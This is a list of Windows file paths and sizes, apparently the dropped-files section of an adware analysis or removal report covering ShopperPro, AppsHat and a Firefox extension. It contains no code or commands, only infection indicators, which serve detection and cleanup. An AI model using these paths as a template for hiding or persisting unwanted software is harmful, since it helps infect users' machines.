C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\U8SH6J2O.txt (287 bytes)
C:\Windows\SysWOW64\AniGIF.ocx (172 bytes)
C:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe (3560 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj6844.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\lm (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj6844.tmp\nsJSON.dll (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ilg (304468 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj6844.tmp\WmiInspector.dll (3137 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj6844.tmp\UserInfo.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj6844.tmp\inetc.dll (44 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj6844.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\SourceApp.mg.exe (7743 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj6844.tmp\IpConfig.dll (4254 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\tlg (41 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\mj (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj6844.tmp\ExecDos.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj6844.tmp\NSISEncrypt.dll (3412 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLB4DD1.tmp (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\AppsHat Mobile Apps\Uninstall.exe (164 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskF3D2.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskF3D1.tmp (10027 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskF3D2.tmp\inetc.dll (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\setup[2].exe (12408 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskF3D2.tmp\webplayer_installer.exe (8184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskF3D2.tmp\appshat.exe (13992 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\SMALLTEST[1].htm (70 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\b13ae2906e2d1276be1bdb7d0eef3913.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\61319d434ae10cfee318964f34581de6.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\defaults\preferences\prefs.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\301.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\252.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\173959e08d33bab23e26f653370b9ae1.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\e5b7ce52148490700523f36cd12325e5.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\255.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\fc939b38977037006afcb94762ca271e.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\22.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\eb6ad66dcd3e1616bd41e3d164ccce5a.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome.manifest (634 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\32654288634bc44d9f935683639ea8fe.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\345.js (619 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\install.rdf (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button5.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\extension.js (358 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\manifest.xml (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon24.png (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\47a8bacb52b20804bbf9cd51d55ca2a1.js (28 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button2.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button3.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\26dd333716a6b96fbf79139aa7336fe5.js (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\104.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\234.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\288.js (557 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button4.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\2eadcde48d81fc5e3430857e5cce12fb.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\281.js (489 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\1672ea0ccdd0b0bd9650031821ab8db0.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\f08bc8f6f7944070995fec72db18ba23.js (357 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\fa7e157f9a132d44dd9d7548e3e0a251.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\8989e2bfb89a34c2242556646faa7490.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\253.js (741 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\skin.css (909 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon48.png (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\ed58eef825c0f1309f135b601d3dfbf2.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\4d2619b7686b1a089ea7f19bdf7543b1.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\7be3de95a2d394fd6b4c6581fcbe0847.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\6601426ee287f53dd998ed29e045f1b9.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\242.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\ef6f67b6f75d02f279b4fe7c049a50d2.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\91.js (6772 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\c4e5df90034c33d6fa569c648db0b133.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button1.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\7edd666ba38ac7688f1d5a822e379d55.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\91cbc3fa2b90670f164f8228d3629242.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\57dbba2164940fd8ffda2602575170db.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\262.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon128.png (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\68a9600b26d21bf5af43c531b1cce08b.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\b8e07b7bfe2135841c5006fe960dc45e.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\popup.html (353 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon16.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\28.js (540 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\0410705b2e34f89cec04cfe4e1f7aaad.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\207.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\92e18c245b5d94b6cd757ccaca5e05d8.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\2a90a25174da8dc0b06664412c699a77.js (618 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\09fedbba1c97fe93208ab1b20d6b29e0.js (947 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\dialog.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.xul (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\26fb4756a8c6f8d7a0d7b2cbda1d27a6.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins.json (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\76db34acd3f225e0e364e0ce67e80ab5.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\b60b5a3e77ec6629e806cea4716eb900.js (134 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\c3cef2dbf7e945435fa24787f5764bac.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\f4ea0821df79fc355859f5a5d5e78d81.js (651 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\17040b54ca1861ce1ef051e53c2fa12f.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\update.css (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\63dad1f556e89ca8bf036e36a6d8f7ad.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\221.js (419 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\background.html (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\fed3d18877a790d7dc337836c146ddad.js (964 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\background.js (640 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\browser.xul (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\354.js (5118 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\463372090c86eb4a0361c433935e4ab1.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\6cdc90e0a599787eb3a434aad79dada3.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\72da845517394131bbe2b76b826ae652.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\9003500e763c40c5746c05c45106e221.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\a8a0b904623b6d6a9773b53e27cb4ab9.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\263.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\373.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\246.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0G1XXUD5VQVAK1GVNIPQ.temp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4WP5HNN700Y0SNGG68BC.temp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DP1QAMSF3041MZM8BLUN.temp (196 bytes)
%Program Files%\Common Files\ShopperPro\spbii64.exe (17848 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (11344 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.exe (33633 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz5967.tmp\AccDownload.dll (11359 bytes)
%Program Files%\Common Files\ShopperPro\spbiw.sys (1552 bytes)
%Program Files%\Common Files\ShopperPro\spbii32.exe (13368 bytes)
%Program Files% (x86)\ShopperPro\Updater.exe (25112 bytes)
%Program Files%\Common Files\ShopperPro\spbiu.exe (69777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz5967.tmp\System.dll (23 bytes)
%Program Files% (x86)\ShopperPro\FireFox\chrome.manifest (113 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.xul (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz5967.tmp\nsExec.dll (14 bytes)
%Program Files%\Common Files\ShopperPro\spbici32.dll (36698 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.sys (1856 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (100378 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.dll (14184 bytes)
C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj5956.tmp (347680 bytes)
%Program Files% (x86)\ShopperPro\FireFox\install.rdf (828 bytes)
%Program Files%\Common Files\ShopperPro\spbici64.dll (47570 bytes)
%Program Files% (x86)\ShopperPro\database1_0_0.json (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz5967.tmp\jsdrv.exe (100669 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz5967.tmp\nsProcess.dll (12 bytes)
%Program Files% (x86)\ShopperPro\SPRemove.exe (20416 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro64.dll (16944 bytes)
%Program Files% (x86)\ShopperPro\manifest.json (595 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz5967.tmp\MoreInfo.dll (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\DataBase (26688 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\MessageBox.xml (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\uninstallDlg2.xml (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\1.zip (42164 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\code\code6.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\code\Thumbs.db (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\2[1].zip (46695 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\ffsearch_toolbar!1.0.0.1025.xpi (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\conf (83 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\422.json (520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\lpd#4.3.0.xpi (6360 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\1[1].zip (220487 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\bg.png (5064 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\code\code2.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\Thumbs.db (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\BaofengUpdate.exe (2461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\UninstallManager.exe (59286 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\scrollbar.bmp (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\2.zip (24758 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\images\bk_shadow.png (3 bytes)
